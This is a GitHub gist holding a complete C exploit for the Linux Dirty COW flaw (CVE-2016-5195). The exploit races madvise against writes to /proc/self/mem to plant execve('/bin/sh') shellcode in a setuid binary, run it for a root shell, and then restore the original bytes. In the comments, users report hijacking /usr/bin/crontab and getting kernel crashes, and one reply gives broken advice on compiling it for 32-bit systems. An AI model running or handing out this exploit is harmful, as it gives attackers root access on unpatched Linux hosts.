Skip to content

Instantly share code, notes, and snippets.

@mak
Created October 22, 2016 20:48
Show Gist options
  • Star 8 You must be signed in to star a gist
  • Fork 10 You must be signed in to fork a gist
  • Save mak/c36136ccdbebf5ecfefd80c0f2ed6747 to your computer and use it in GitHub Desktop.
Save mak/c36136ccdbebf5ecfefd80c0f2ed6747 to your computer and use it in GitHub Desktop.
exploit for CVE-2016-5195 nothing fancy
#include <stdio.h>
#include <sys/mman.h>
#include <fcntl.h>
#include <pthread.h>
#include <unistd.h>
#include <sys/stat.h>
#include <string.h>
#include <sys/uio.h>
#include <sys/wait.h>
void *map;
char *name;
int die = 0;
int success = 0;
long offset;
long page_x;
#ifdef __x86_64__
#define SHELL_SIZE 40
#define BASE_OFF 0x400000
char orig_buf[SHELL_SIZE];
char shelcode[SHELL_SIZE] = "H1\xffH\x89\xfeH\x89\xfajuX\x0f\x05VH\xbb/bin//shSH\x89\xe7H\x89\xf2j;X\x0f\x05\x90\x90\x90";
#else
#error "unsuported"
#endif
char *write_ptr = shelcode;
char *orig_ptr = orig_buf;
void *trigger(void *arg)
{
int i,c=0;
for(i=0;i<100000000 && !die ;i++)
{
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED);
if(die) break;
}
// printf("madvise %d\n",c);
}
void *overwrite(void *arg)
{
int f=open("/proc/self/mem",O_RDWR);
int i,c=0;
for(i=0;i<100000000 && !die;i++) {
lseek(f,(long)map+offset,SEEK_SET);
c+=write(f,write_ptr,SHELL_SIZE);
}
// printf("procselfmem %d\n", c);
}
void * checker(void *arg){
int i,f;
char buf[SHELL_SIZE];
for(i=0;i<100000000;i++) {
f=open(name,O_RDONLY);
lseek(f,offset+page_x,SEEK_SET);
memset(buf,0,SHELL_SIZE);
read(f,buf,SHELL_SIZE);
close(f);
if(memcmp(buf,orig_ptr,SHELL_SIZE)){
die=1;
success=1;
break;
}
}
}
void worker(char *p0,char *p1){
pthread_t pth1,pth2,pth3;
write_ptr = p0;
orig_ptr = p1;
int f=open(name,O_RDONLY);
map=mmap(NULL,0x1000,PROT_READ,MAP_PRIVATE,f,page_x);
pthread_create(&pth2,NULL,overwrite,NULL);
pthread_create(&pth1,NULL,trigger,NULL);
pthread_create(&pth3,NULL,checker,NULL);
pthread_join(pth1,NULL);
pthread_join(pth2,NULL);
pthread_join(pth3,NULL);
munmap(map,0x1000);
close(f);
}
int main(int argc,char *argv[])
{
int type = 0,f;
if (argc<2)return 1;
name = argv[1];
f=open(name,O_RDONLY);
lseek(f,0x10,0);
read(f,&type,2);
lseek(f,0x18,0);
read(f,&offset,8);
if(type == 2) offset -= BASE_OFF;
lseek(f,offset,0);
read(f,orig_buf,sizeof(orig_buf));
close(f);
page_x = offset & ~0xfff;
offset -= page_x;
// printf("%llx %llx\n",page_x,offset);
puts("[*] let make some c0ws dirty");
worker(shelcode,orig_buf);
if(success) {
puts("[+] ok we have some dirty things going on");
if(!fork()) {
execve(argv[1],0,0);
}
wait(NULL);
puts("[*] let's clean up...");
die = 0;
worker(orig_buf,shelcode);
}
return 0;
}
@falk0069
Copy link

Nice code. I got it to work with using '/usr/bin/crontab' as the suid binary to hijack.

@unixfox
Copy link

unixfox commented Oct 23, 2016

@falk0069 It works but it leads to a kernel crash after a few minutes.

@psrok1
Copy link

psrok1 commented Oct 24, 2016

@unixfox: It seems that exploiting vuln this way makes kernel unstable. Related: dirtycow/dirtycow.github.io#25

@totoroha
Copy link

I want to compile and use it on 32 bit system, so i did these steps:
1 - gcc -pthread naughtyc0w.c -o naughtyc0w1
ran the code on the test system, and got this error:
cannot execute binary file: Exec format error
So I ran gcc with -m32 for 32 bit
2 - gcc -pthread -m32 naughtyc0w.c -o c0w1
and got a lot of errors:

naughtyc0w.c:25:2: error: #error "unsuported"
#error "unsuported"
^~~~~
naughtyc0w.c:28:19: error: ‘shelcode’ undeclared here (not in a function)
char *write_ptr = shelcode;
^~~~~~~~
naughtyc0w.c:29:19: error: ‘orig_buf’ undeclared here (not in a function); did you mean ‘orig_ptr’?
char *orig_ptr = orig_buf;
^~~~~~~~
orig_ptr
naughtyc0w.c: In function ‘trigger’:
naughtyc0w.c:37:27: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
c+=madvise(map,offset+SHELL_SIZE,MADV_DONTNEED);
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c:37:27: note: each undeclared identifier is reported only once for each function it appears in
naughtyc0w.c: In function ‘overwrite’:
naughtyc0w.c:50:26: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
c+=write(f,write_ptr,SHELL_SIZE);
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c: In function ‘checker’:
naughtyc0w.c:58:12: error: ‘SHELL_SIZE’ undeclared (first use in this function); did you mean ‘S_BLKSIZE’?
char buf[SHELL_SIZE];
^~~~~~~~~~
S_BLKSIZE
naughtyc0w.c: In function ‘main’:
naughtyc0w.c:108:29: error: ‘BASE_OFF’ undeclared (first use in this function)
if(type == 2) offset -= BASE_OFF;
^~~~~~~~

Can you tell me where i did wrong?

Thank you so much @mak

@Warlord711
Copy link

@totoroha:

Remove the following lines then compile again:

#ifdef x86_64
.
.
.
#else
#error "unsuported"
#endif

Remove onlynly those 4 lines, then compile with -pthread

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment